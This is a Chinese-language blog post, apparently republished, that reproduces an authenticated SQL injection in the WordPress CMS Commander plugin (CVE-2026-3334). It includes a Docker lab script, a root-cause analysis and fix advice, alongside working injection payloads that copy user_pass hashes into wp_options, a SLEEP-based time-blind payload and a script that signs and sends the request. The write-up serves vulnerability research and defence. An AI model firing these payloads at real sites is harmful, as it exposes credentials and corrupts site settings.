WordPressCMSCommander插件SQL漏洞|CVE-2026-3334概念复现&研究

admin 2026-04-02 05:37:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了WordPressCMSCommander插件(CVE-2026-3334)的认证后SQL注入漏洞,影响版本<=2.288,漏洞参数为or_blogname、or_blogdescription和or_admin_email。攻击者需持有API密钥,通过restore接口追加恶意SQL语句,可在UPDATE操作中利用子查询提取wp_users中的用户名与密码哈希等敏感信息。文章提供了Docker环境搭建脚本、三个概念验证场景(配置覆盖注入、数据外带注入、时间盲注)及MySQLgeneral_log验证方法。该漏洞位于Backup.php的restore函数内,需成功备份文件方可触发注入点,利用复杂度中等。 综合评分: 58 文章分类: 漏洞分析,WEB安全,漏洞POC,渗透测试,代码审计


cover_image

WordPress CMS Commander 插件SQL漏洞 | CVE-2026-3334概念复现&研究

原创

404号浪漫 404号浪漫

404号浪漫

2026年3月28日 14:14 北京

点击蓝字,关注我们

0x0 背景介绍

WordPress的CMS Commander插件在所有版本(包括2.288)中,通过or_blogname、or_blogdescription和or_admin_email参数存在SQL注入漏洞。这是由于对用户提供的参数进行了不充分的转义,并且在恢复工作流程中对现有的SQL查询准备不足。这使得经过身份验证的攻击者(拥有CMS Commander API密钥访问权限)能够将额外的SQL查询追加到已存在的查询中,从而可以从数据库中提取敏感信息。

漏洞详情

| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | SQL注入 | <= 2.288 | 中(需KEY) | CVE-2026-3334 |

攻击效果:

  • 原理可以执行任意SQL语句,篡改数据获取敏感数据。

请在微信客户端打开


0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

  • ### 另存为install.sh运行
#!/bin/bash
echo&nbsp;"=============================================="echo&nbsp;" CMS Commander SQL 注入 (CVE-2026-3334) 环境搭建脚本"echo&nbsp;"=============================================="
# 检查并安装依赖if&nbsp;!&nbsp;command&nbsp;-v unzip &> /dev/null;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[*] 安装依赖工具..."&nbsp; &nbsp; apt update && apt install -y unzip wget curl docker.io docker-compose-pluginfi
# 检查 Docker 是否运行if&nbsp;! systemctl is-active --quiet docker;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[!] Docker 未运行,请启动 Docker 服务 (systemctl start docker)"&nbsp; &nbsp;&nbsp;exit&nbsp;1fi
WORK_DIR="cmscommander-sqli-vuln"PLUGIN_SLUG="cms-commander-client"PLUGIN_VERSION="2.288"WP_PORT="8090"
echo&nbsp;"[*] 阶段 1/5:创建漏洞复现目录..."mkdir&nbsp;-p&nbsp;"$WORK_DIR"&nbsp;&&&nbsp;cd&nbsp;"$WORK_DIR"&nbsp;|| {&nbsp;echo&nbsp;"[x] 创建目录失败";&nbsp;exit&nbsp;1; }echo&nbsp;"[+] 工作目录:&nbsp;$(pwd)"
echo&nbsp;"[*] 阶段 2/5:生成 docker-compose.yml..."cat&nbsp;> docker-compose.yml <<EOFservices:&nbsp; db:&nbsp; &nbsp; image: mysql:8.0&nbsp; &nbsp; container_name: cmsc-db&nbsp; &nbsp; environment:&nbsp; &nbsp; &nbsp; MYSQL_ROOT_PASSWORD: vuln-root-pass&nbsp; &nbsp; &nbsp; MYSQL_DATABASE: wordpress&nbsp; &nbsp; &nbsp; MYSQL_USER: wpuser&nbsp; &nbsp; &nbsp; MYSQL_PASSWORD: vuln-user-pass&nbsp; &nbsp; volumes:&nbsp; &nbsp; &nbsp; - db_data:/var/lib/mysql&nbsp; &nbsp; command: --default-authentication-plugin=mysql_native_password&nbsp; &nbsp; restart: always
&nbsp; wordpress:&nbsp; &nbsp; image: wordpress:php7.4-apache&nbsp; &nbsp; container_name: cmsc-wp&nbsp; &nbsp; ports:&nbsp; &nbsp; &nbsp; - "${WP_PORT}:80"&nbsp; &nbsp; environment:&nbsp; &nbsp; &nbsp; WORDPRESS_DB_HOST: db:3306&nbsp; &nbsp; &nbsp; WORDPRESS_DB_USER: wpuser&nbsp; &nbsp; &nbsp; WORDPRESS_DB_PASSWORD: vuln-user-pass&nbsp; &nbsp; &nbsp; WORDPRESS_DB_NAME: wordpress&nbsp; &nbsp; volumes:&nbsp; &nbsp; &nbsp; - wp_plugins:/var/www/html/wp-content/plugins&nbsp; &nbsp; &nbsp; - wp_uploads:/var/www/html/wp-content/uploads&nbsp; &nbsp; depends_on:&nbsp; &nbsp; &nbsp; - db&nbsp; &nbsp; restart: always
volumes:&nbsp; db_data:&nbsp; wp_plugins:&nbsp; wp_uploads:EOF
echo&nbsp;"[*] 阶段 3/5:启动 Docker 环境..."docker compose up -d
echo&nbsp;"[*] 等待服务启动(约 60 秒)..."for&nbsp;i&nbsp;in&nbsp;{1..12};&nbsp;do&nbsp; &nbsp;&nbsp;echo&nbsp;-n&nbsp;"."&nbsp; &nbsp;&nbsp;sleep&nbsp;5doneecho&nbsp;""echo&nbsp;"[+] 容器已启动"
echo&nbsp;"[*] 等待 WordPress 安装页面就绪..."max_attempts=30attempt=0while&nbsp;[&nbsp;$attempt&nbsp;-lt&nbsp;$max_attempts&nbsp;];&nbsp;do&nbsp; &nbsp; status_code=$(curl -s -o /dev/null -w&nbsp;'%{http_code}'&nbsp;http://localhost:${WP_PORT}/wp-admin/install.php)&nbsp; &nbsp;&nbsp;if&nbsp;[&nbsp;"$status_code"&nbsp;=&nbsp;"200"&nbsp;];&nbsp;then&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp;&nbsp;fi&nbsp; &nbsp;&nbsp;echo&nbsp;-n&nbsp;"."&nbsp; &nbsp;&nbsp;sleep&nbsp;2&nbsp; &nbsp; ((attempt++))done
if&nbsp;[&nbsp;"$status_code"&nbsp;!=&nbsp;"200"&nbsp;];&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;""&nbsp; &nbsp;&nbsp;echo&nbsp;"[!] WordPress 启动超时,请检查日志: docker logs cmsc-wp"&nbsp; &nbsp;&nbsp;exit&nbsp;1fiecho&nbsp;""echo&nbsp;"[+] WordPress 已就绪"
echo&nbsp;"[*] 阶段 4/5:下载并部署 CMS Commander v${PLUGIN_VERSION}..."
# 构造下载链接 (WordPress 官方插件库格式)PLUGIN_URL="https://downloads.wordpress.org/plugin/${PLUGIN_SLUG}.${PLUGIN_VERSION}.zip"PLUGIN_ZIP="${PLUGIN_SLUG}.${PLUGIN_VERSION}.zip"LOCAL_PLUGIN_DIR="${PLUGIN_SLUG}"
rm&nbsp;-rf&nbsp;"$LOCAL_PLUGIN_DIR"&nbsp;"$PLUGIN_ZIP"
echo&nbsp;"[*] 正在下载插件..."if&nbsp;! wget -q --show-progress&nbsp;"$PLUGIN_URL"&nbsp;-O&nbsp;"$PLUGIN_ZIP";&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[-] 主源下载失败,尝试备用源或检查版本号..."&nbsp; &nbsp;&nbsp;# 如果官方源没有该特定版本,可能需要手动上传或从其他源获取&nbsp; &nbsp;&nbsp;exit&nbsp;1fi
echo&nbsp;"[*] 解压插件..."unzip -q&nbsp;"$PLUGIN_ZIP"
if&nbsp;[ ! -d&nbsp;"$LOCAL_PLUGIN_DIR"&nbsp;];&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[-] 插件目录未生成,解压失败"&nbsp; &nbsp;&nbsp;ls&nbsp;-la&nbsp; &nbsp;&nbsp;exit&nbsp;1fi
echo&nbsp;"[*] 复制插件到容器..."docker&nbsp;cp&nbsp;"$LOCAL_PLUGIN_DIR"&nbsp;cmsc-wp:/var/www/html/wp-content/plugins/
echo&nbsp;"[*] 修复权限..."docker&nbsp;exec&nbsp;cmsc-wp&nbsp;chown&nbsp;-R www-data:www-data /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"
# 清理本地临时文件rm&nbsp;-rf&nbsp;"$PLUGIN_ZIP"&nbsp;"$LOCAL_PLUGIN_DIR"
# 验证if&nbsp;docker&nbsp;exec&nbsp;cmsc-wp&nbsp;test&nbsp;-f /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"/cms-commander.php;&nbsp;then&nbsp; &nbsp;&nbsp;echo&nbsp;"[+] CMS Commander 插件部署成功!"else&nbsp; &nbsp;&nbsp;# 有些插件主文件名可能不同,尝试列出目录确认&nbsp; &nbsp;&nbsp;echo&nbsp;"[*] 检查插件文件结构..."&nbsp; &nbsp; docker&nbsp;exec&nbsp;cmsc-wp&nbsp;ls&nbsp;-l /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"/&nbsp; &nbsp;&nbsp;# 即使主文件名不是 cms-commander.php,只要目录在通常也能被识别,继续执行fi
echo&nbsp;"[*] 阶段 5/5:环境配置完成!"
cat&nbsp;<<EOF
==============================================&nbsp;CVE-2026-3334 漏洞环境部署完成!==============================================
访问站点:&nbsp; &nbsp;http://localhost:${WP_PORT}
初始化步骤:&nbsp; &nbsp;1. 首次访问上述链接,完成 WordPress 安装。&nbsp; &nbsp; &nbsp; * 站点标题: CMS Commander SQLi Demo&nbsp; &nbsp; &nbsp; * 用户名: admin&nbsp; &nbsp; &nbsp; * 密码: admin123!@# (建议修改)&nbsp; &nbsp; &nbsp; * 邮箱: [email protected]
&nbsp; &nbsp;2. 登录后台 (http://localhost:${WP_PORT}/wp-admin)&nbsp; &nbsp; &nbsp; * 进入 "插件" (Plugins) -> 启用 "CMS Commander - Manage Multiple Sites"
漏洞利用前置条件:&nbsp; &nbsp;该漏洞是 **认证后 SQL 注入**。&nbsp; &nbsp;您需要获取或配置 **CMS Commander API Key**。
&nbsp; &nbsp;* 通常在插件设置页面 (Settings -> CMS Commander) 可以连接主站获取 API Key。&nbsp; &nbsp;* 或者如果您有主站控制权,在主站添加此从站时会生成 Key。&nbsp; &nbsp;* **审计重点**: 插件代码中处理 'restore workflow' 的部分。
漏洞详情:&nbsp; &nbsp;* 漏洞参数: or_blogname, or_blogdescription, or_admin_email&nbsp; &nbsp;* 利用方式: 通过 API 接口发送恶意构造的参数,追加 SQL 语句。&nbsp; &nbsp;* 参考 Payload 思路:&nbsp; &nbsp; &nbsp;or_blogname=test' UNION SELECT 1, user_pass, 3, 4, 5 FROM wp_users--
下一步建议:&nbsp; &nbsp;1. 审计 /wp-content/plugins/cms-commander-client/ 源码。&nbsp; &nbsp;2. 搜索 'or_blogname' 或 'prepare' 关键字。&nbsp; &nbsp;3. 编写 PoC 进行复现。

0x2 漏洞复现 SQL注入点位于 restore() 函数中,但要执行到该点,必须先成功恢复一个备份文件(绕过签名后卡在这好久)。源码流程如下: // lib/CMSC/Backup.php 中的 restore() 函数if($backup_file&nbsp;&&&nbsp;file_exists($backup_file)){// 解压备份、恢复数据库、覆盖配置(注入点)}else{return&nbsp;array('error'=>'Error restoring. Cannot find backup file.');} * 如果$backup_file不存在或文件不存在,函数直接返回错误,不会执行注入代码。 * $backup_file必须通过task_name和result_idcmsc_backup_tasks选项中获取,而这些都依赖一次成功的备份记录(第四次的测试中…不小心把环境还原出问题了….) 2.1-概念验证

2.1.1 概念场景 A:通过恢复接口注入 or_blogname

* 前置条件 •攻击者已掌握&nbsp;CMS&nbsp;Commander API 通信所需的密钥材料(可构造合法signature,即"已认证攻击者"模型。 &nbsp;•攻击请求动作为 restore,并触发 overwrit 分支(正常网站应该有备份,可能实际环境不会卡在备份流程)。 * 模拟 HTTP 流量 POST / HTTP/1.1Host: victim.exampleContent-Type: application/x-www-form-urlencoded cmsc=%23%23CMSC%23%23{"cmsc":"yes","cmsc_action":"restore","action":"restore","id":"1711111111",&nbsp;&nbsp;"url":"https%3A%2F%2Fvictim.example%2F",&nbsp;//注意:这里需和站点相同,源码会校验&nbsp;&nbsp;"signature":"<合法签名>",&nbsp;&nbsp;"params":{&nbsp; &nbsp;&nbsp;"username":"admin",&nbsp; &nbsp;&nbsp;"task_name":"daily_backup",&nbsp; &nbsp;&nbsp;"result_id":"0",&nbsp; &nbsp;&nbsp;"overwrite":1,&nbsp; &nbsp;&nbsp;"or_blogname":"x', option_value=(SELECT user_pass FROM wp_users WHERE ID=1) WHERE option_name='blogname' -- ",&nbsp; &nbsp;&nbsp;"or_blogdescription":"normal",&nbsp; &nbsp;&nbsp;"or_admin_email":"[email protected]"&nbsp; }} 说明:插件在functions.phpcmsc_authenticate()中按##CMSC##{json} 协议解析正文,并在验签通过后把params传到 restore逻辑。 * 预期现象与流量特征 •响应结构通常为&nbsp;<CMSCHEADER>_CMSC_JSON_PREFIX_<base64-json><ENDCMSCHEADER>。 &nbsp;•当注入成功时,wp_options 中 blogname/admin_email 等值可出现异常替换,或通过时间盲注引发明显响应延迟。 &nbsp;•SQL 执行点发生在恢复流程后半段(覆盖站点配置阶段),属于"高权限业务流程内注入"。

#

2.2 概念场景 B:or_admin_email 注入用于敏感信息探测

POST / HTTP/1.1Host: victim.exampleContent-Type: application/x-www-form-urlencoded
cmsc=%23%23CMSC%23%23{&nbsp;&nbsp;"cmsc":"yes",&nbsp;&nbsp;"cmsc_action":"restore",&nbsp;&nbsp;"id":"1711111122",&nbsp;&nbsp;"url":"https%3A%2F%2Fvictim.example%2F",&nbsp;&nbsp;"signature":"<合法签名>",&nbsp;&nbsp;"params":{&nbsp; &nbsp;&nbsp;"username":"admin",&nbsp; &nbsp;&nbsp;"task_name":"daily_backup",&nbsp; &nbsp;&nbsp;"result_id":"0",&nbsp; &nbsp;&nbsp;"overwrite":1,&nbsp; &nbsp;&nbsp;"or_admin_email":"a' , option_value=(SELECT concat(user_login,':',user_pass) FROM wp_users LIMIT 1) WHERE option_name='admin_email' -- "&nbsp; }}
  • 这个场景更接近公告中的”可提取敏感信息”目标:
  • 虽然注入语句仍在UPDATE ... options,但攻击者可通过子查询把敏感字段回填到可读配置项,形成数据外带。

2.3 概念场景 C:基于插件的特殊性,我这边绕过签名和备份

在环境中遇到一些情况,所以打开sql监控,看看语句能否提交

root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db bashbash-5.1# mysql -u root -pvuln-root-pass -e "SET GLOBAL general_log = 'ON';"mysql: [Warning]&nbsp;Using&nbsp;a password on the&nbsp;command&nbsp;line interface can be insecure.bash-5.1# mysql -u root -pvuln-root-pass -e "SET GLOBAL log_output = 'TABLE';"mysql: [Warning]&nbsp;Using&nbsp;a password on the&nbsp;command&nbsp;line interface can be insecure.bash-5.1# mysql -u root -pvuln-root-pass -e "TRUNCATE TABLE mysql.general_log;"mysql: [Warning]&nbsp;Using&nbsp;a password on the&nbsp;command&nbsp;line interface can be insecure.bash-5.1# exit
  • 然后进行注入
#!/bin/bash
# 配置TARGET="http://192.168.119.131:8090"SECRET="test_secret_key"TIMESTAMP=$(date +%s)ACTION="restore"
# 1. 计算签名SIG=$(echo -n&nbsp;"${TARGET}${ACTION}${TIMESTAMP}${SECRET}"&nbsp;| md5sum | awk&nbsp;'{print $1}')
# 2. 定义 Payload (这里可以随意写单引号,因为还没拼进 JSON)# 尝试让数据库睡 5 秒RAW_PAYLOAD="' WHERE 1=1 AND (SELECT SLEEP(5)) -- "
# 3. 构造原始 JSON 字符串 (先不编码)# 注意:这里我们用变量占位,避免 Bash 转义问题read&nbsp;-r -d&nbsp;''&nbsp;JSON_TEMPLATE <<EOF{&nbsp;&nbsp;"cmsc":&nbsp;"yes",&nbsp;&nbsp;"cmsc_action":&nbsp;"${ACTION}",&nbsp;&nbsp;"action":&nbsp;"${ACTION}",&nbsp;&nbsp;"id":&nbsp;"${TIMESTAMP}",&nbsp;&nbsp;"url":&nbsp;"${TARGET}",&nbsp;&nbsp;"signature":&nbsp;"${SIG}",&nbsp;&nbsp;"params": {&nbsp; &nbsp;&nbsp;"username":&nbsp;"admin",&nbsp; &nbsp;&nbsp;"task_name":&nbsp;"Backup Now",&nbsp; &nbsp;&nbsp;"result_id":&nbsp;0,&nbsp; &nbsp;&nbsp;"overwrite":&nbsp;1,&nbsp; &nbsp;&nbsp;"or_blogname":&nbsp;"${RAW_PAYLOAD}"&nbsp; }}EOF
# 4. 将 JSON 转为 Base64,避免 Bash 处理特殊字符JSON_B64=$(echo&nbsp;"$JSON_TEMPLATE"&nbsp;| base64 -w&nbsp;0)
# 5. 使用 Python 进行最终处理 (解码 Base64 -> URL 编码 -> 发送)# 5. 使用 Python 进行最终处理 (解码 Base64 -> URL 编码 -> 发送)python3 - <<PYEOFimport requeststarget =&nbsp;"${TARGET}"body =&nbsp;"cmsc=##CMSC##${JSON_B64}"print(f"[*] 发送 Payload (长度: {len(body)} bytes)...")print(f"[*] 预期延时: 5 秒+")try:&nbsp; &nbsp; resp = requests.post(target, data=body, headers={"Content-Type":&nbsp;"application/x-www-form-urlencoded"}, timeout=20)&nbsp; &nbsp;&nbsp;print(f"[+] 响应状态: {resp.status_code}")&nbsp; &nbsp;&nbsp;print(f"[+] 响应内容: {resp.text.strip()}")except Exception as e:&nbsp; &nbsp;&nbsp;print(f"[-] 错误: {e}")PYEOF
  • 最后数据库查询
109110111112113114115116117118119120121[*] 发送&nbsp;Payload&nbsp;(长度:&nbsp;673&nbsp;bytes)...[*] 预期延时:&nbsp;5&nbsp;秒+[+] 响应状态:&nbsp;200[+] 响应内容: <CMSCHEADER>_CMSC_JSON_PREFIX_eyJzdWNjZXNzIjp0cnVlfQ==<ENDCMSCHEADER>root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db mysql -u root -pvuln-root-pass -e "SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE '%SLEEP%' OR argument LIKE '%blogname%' ORDER BY event_time DESC LIMIT 3;"mysql:&nbsp;[Warning]&nbsp;Using&nbsp;a password on the command line interface can be insecure.+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+|&nbsp;event_time &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;| argument &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+|&nbsp;2026-03-25&nbsp;07:11:16.721177&nbsp;|&nbsp;0x53454C454354206576656E745F74696D652C20617267756D656E742046524F4D206D7973716C2E67656E6572616C5F6C6F6720574845524520617267756D656E74204C494B45202725534C4545502527204F5220617267756D656E74204C494B45202725626C6F676E616D652527204F52444552204259206576656E745F74696D652044455343204C494D49542033&nbsp;||&nbsp;2026-03-25 07:11:11.387056&nbsp;|&nbsp;0x55504441544520574F524450524553535F5441424C455F5052454649586F7074696F6E7320534554206F7074696F6E5F76616C7565203D20272720574845524520313D3120414E44202853454C45435420534C45455028352929202D2D2027205748455245206F7074696F6E5F6E616D65203D2027626C6F676E616D6527&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
  • ## 正常注入成功结果应该是这个
<CMSCHEADER>_CMSC_JSON_PREFIX_eyJzdWNjZXNzIjp0cnVlfQ==<ENDCMSCHEADER>解码就是:{"success":true}
  • ## 可以看到俩次的值,分别解码结果,足以证明语句会到数据库执行
第一个字符串解码后:SELECT&nbsp;event_time, argument&nbsp;FROM&nbsp;mysql.general_log&nbsp;WHERE&nbsp;argument&nbsp;LIKE&nbsp;'%SLEEP%'&nbsp;OR&nbsp;argument&nbsp;LIKE&nbsp;'%blogname%'&nbsp;ORDER&nbsp;BY&nbsp;event_time&nbsp;DESC&nbsp;LIMIT&nbsp;3第二个字符串解码后:UPDATE&nbsp;WORDPRESS_TABLES_PREFIXoptions&nbsp;SET&nbsp;option_value&nbsp;=&nbsp;''&nbsp;WHERE&nbsp;1=1&nbsp;AND&nbsp;(SELECT&nbsp;SLEEP(5))&nbsp;-- ' WHERE option_name = 'blogname'

2.3-复现流量特征 (PCAP)

当时来来回回测了好多次,又是去掉签名又是备份机制,没抓到真正流量,不过SQL语句是明文在请求中的

  • ## 实际响应解码后是TURE,截图中就是备份机制

0x3 漏洞原理分析

3.1- 架构与模块定位:从API入口到数据库执行点

| 层级 | 核心文件 | 关键函数 | 在漏洞链路中的职责 | | — | — | — | — | | 入口层 | functions.php | cmsc_authenticate() | 解析请求、验签、建立”已认证 API 调用”上下文 | | 路由层 | lib/CMSC/Core.php | register_action_params() | 将 restore 动作映射到 cmsc_restore_now() | | 逻辑层 | functions.php | cmsc_restore_now() | 将 params 原样交给 CMSC_Backup::restore() | | 驱动层 | lib/CMSC/Backup.php | restore() | 在 overwrite 恢复路径中拼接并执行 SQL(注入爆发点) |

最先定位的是restore动作,因为 CVE 描述中明确提到”恢复工作流”。沿着这个关键词回溯后,链路非常清晰:入口验签并不等于参数安全,params 最终到达restore()时没有再次做SQL边界控制。

3.2 核心入口:安全边界的错位:认证通过被误当作”参数可信”

  • 先看入口层代码,cmsc_authenticate() 负责验签与用户上下文切换:
// functions.phpif($_cmsc_data['cmsc'] !==&nbsp;"yes") {&nbsp;return; }$_cmsc_auth&nbsp;=&nbsp;$cmsc_core->authenticate_message(...);...if(isset($_cmsc_data['params']['username']) && !is_user_logged_in()){&nbsp; &nbsp;&nbsp;$user&nbsp;=&nbsp;get_user_by('login',&nbsp;$_cmsc_data['params']['username']);&nbsp; &nbsp;&nbsp;wp_set_current_user($user->ID);}
  • 随后动作被注册并透传参数:
// lib/CMSC/Core.php'restore'&nbsp;=>&nbsp;'cmsc_restore_now',...$this->action_params = $params;
// functions.phpfunction&nbsp;cmsc_restore_now($params){&nbsp; &nbsp;&nbsp;$return&nbsp;=&nbsp;$cmsc_core->backup_instance->restore($params);}
  • 预期边界是”只有持有 API 密钥的一方才能调用高危动作”,这是访问控制边界
  • 但 SQL 注入需要的是数据边界(参数化、白名单、转义)。该实现把两者混为一谈
  • 认证通过后,params 被视为”可直接进入 SQL 的可信数据”,导致后续失守。

#

3.3 逻辑缺陷:恢复流程中的最后一道防线失守

真正致命点出现在 lib/CMSC/Backup.php 的 restore()

// lib/CMSC/Backup.phpif(!empty($or_blogname)) {&nbsp; &nbsp;&nbsp;$query&nbsp;=&nbsp;"UPDATE "&nbsp;.&nbsp;$new_table_prefix&nbsp;.&nbsp;"options &nbsp;SET option_value = '$or_blogname' WHERE option_name = 'blogname'";&nbsp; &nbsp;&nbsp;$wpdb->query($wpdb->prepare($query));}if(!empty($or_blogdescription)) {&nbsp; &nbsp;&nbsp;$query&nbsp;=&nbsp;"UPDATE "&nbsp;.&nbsp;$new_table_prefix&nbsp;.&nbsp;"options &nbsp;SET option_value = '$or_blogdescription' WHERE option_name = 'blogdescription'";&nbsp; &nbsp;&nbsp;$wpdb->query($wpdb->prepare($query));}if(!empty($or_admin_email)) {&nbsp; &nbsp;&nbsp;$query&nbsp;=&nbsp;"UPDATE "&nbsp;.&nbsp;$new_table_prefix&nbsp;.&nbsp;"options &nbsp;SET option_value = '$or_admin_email' WHERE option_name = 'admin_email'";&nbsp; &nbsp;&nbsp;$wpdb->query($wpdb->prepare($query));}
  • 这里的prepare()是”空 prepare”——SQL 模板里没有%s占位符,用户输入已先被拼进字符串,prepare()不再提供任何防注入价值。
  • or_blogname/or_blogdescription/or_admin_email直接进入单引号上下文,攻击者可以闭合字符串并改写SET语义,注入子查询或额外表达式。
  • 代码是在恢复后处理流程,执行时机稳定、权限高、且目标表固定,非常适合数据回填式外带。

再对照同函数中其它”正确写法”,反差更明显:

// lib/CMSC/Backup.php$query&nbsp;=&nbsp;"UPDATE "&nbsp;.&nbsp;$new_table_prefix&nbsp;.&nbsp;"options SET option_value = %s WHERE option_name = 'home'";$wpdb->query($wpdb->prepare($query,&nbsp;$home));
  • 这里使用%s占位,才是预期的参数化

#

3.4 攻击链路:从配置污染到敏感信息提取的完整闭环

在还原链路时,先判断可控参数是否到达SQL,再看它是否能”读出”数据。虽然注入点是UPDATE options,但攻击者可利用子查询把敏感数据写入可见配置字段

  • 调用链总结(含注入点与爆发点):
HTTP(cmsc_action=restore)->&nbsp;functions.php::cmsc_authenticate()(验签通过)->&nbsp;lib/CMSC/Core.php::register_action_params()->&nbsp;functions.php::cmsc_restore_now($params)->&nbsp;lib/CMSC/Backup.php::restore($args)->&nbsp;[注入点]&nbsp;$or_blogname/$or_blogdescription/$or_admin_email&nbsp;字符串拼接->&nbsp;[爆发点]&nbsp;$wpdb->query($wpdb->prepare($query)) 执行已污染 SQL

最大危害理论推导:

  • 敏感信息泄露:利用子查询提取wp_users.user_pass、邮箱、站点密钥相关配置,回填到wp_options可读取字段。
  • 站点配置篡改:修改blogname/admin_email等核心配置,影响后台运维与邮件流。
  • 横向安全影响:若数据库账户权限较大,攻击面可从单表扩展到全库数据读取/破坏(取决于MySQL权限和wpdb执行策略)。

0x4 修复建议

1、升级最新版本:将组件升级最新版本

https://wordpress.org/plugins/cms-commander-client/

2、临时防护措施:

  • 限制访问:在Nginx/Apache层对插件通信入口加IP白名单,仅允许CMS Commander 控制端出口IP;拒绝非常规来源调用restore

  • 防火墙拦截:增加针对cmsc_action=restore且参数中出现’, –, /*, select, sleep等特征的规则(注意误报豁免)

  • 最小权限:收紧WordPress数据库账号权限,避免对非业务必要库/表的读写授权,降低注入后的横向破坏面

  • 日志排查:检查wp_options中blogname/blogdescription/admin_email 历史变更是否出现SQL片段痕迹

  • 更换密钥:立即轮换CMS Commander API密钥与WordPress高权限账户密码。

/**出现计划外的变化,这个卡住我太多时间,还是不到位吖**/


免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:404号浪漫 404号浪漫 404号浪漫《WordPress CMS Commander 插件SQL漏洞 | CVE-2026-3334概念复现&研究》

评论:0   参与:  0